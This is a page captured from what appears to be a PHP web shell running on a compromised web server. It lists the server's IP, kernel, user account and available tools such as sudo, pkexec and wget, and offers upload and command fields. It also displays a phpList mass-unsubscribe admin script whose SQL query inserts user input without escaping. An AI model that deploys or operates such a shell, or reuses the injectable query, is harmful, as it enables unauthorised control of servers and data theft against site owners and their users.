403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/handjobcafe.com/public_html/lists/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/handjobcafe.com/public_html/lists/admin/massremove.php
<?php
require_once dirname(__FILE__).'/accesscheck.php';

@ob_end_flush();
flushBrowser();

if (!$_SESSION['logindetails']['superuser']) {
  print $GLOBALS['I18N']->get('Sorry, this page can only be used by super admins');
  return;
}

if (isset($_POST['unsubscribe'])) {
  $emails = explode("\n",trim($_POST['unsubscribe']));
  $total = sizeof($emails);
  $count = $notfound = $deleted = $blacklisted = 0;
  foreach ($emails as $email) {
    $email = trim($email);
    $count++;
    set_time_limit(600);
    $userid = Sql_Fetch_Row_Query(sprintf('select id from %s where email = "%s"',$GLOBALS['tables']['user'],$email));
    if (!empty($_POST['blacklist'])) {
      $blacklisted++;
      addUserToBlackList($email,$GLOBALS['I18N']->get('Blacklisted by').' '.$_SESSION['logindetails']['adminname']);
    }
    if ($userid[0]) {
      deleteUser($userid[0]);
      $deleted++;
    } else {
      $notfound++;
    }
    if ($total > 100) {
      if ($count % 100 == 0) {
        printf ('%d/%d<br/>',$count,$total);
        flushBrowser();
      }
    }
  }
  printf($GLOBALS['I18N']->get('All done, %d emails processed<br/>%d emails blacklisted<br/>%d emails deleted<br/>%d emails not found'),$count,$blacklisted,$deleted,$notfound);
  print PageLinkButton('massremove',s('Remove more'));
  return;
}
?>

<form method=post action="">
<h3><?php echo $GLOBALS['I18N']->get('Mass remove email addresses')?></h3>

<?php echo $GLOBALS['I18N']->get('Check to also add the emails to the blacklist')?>  <input type="checkbox" name="blacklist" value="1"><br/>
<p class="information"><?php echo $GLOBALS['I18N']->get('Paste the emails to remove in this box, and click continue')?></p>
<p class="submit"><input type="submit" name="go" value="<?php echo $GLOBALS['I18N']->get('Continue')?>"></p><br/>
<textarea name="unsubscribe" rows=30 cols=40></textarea>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit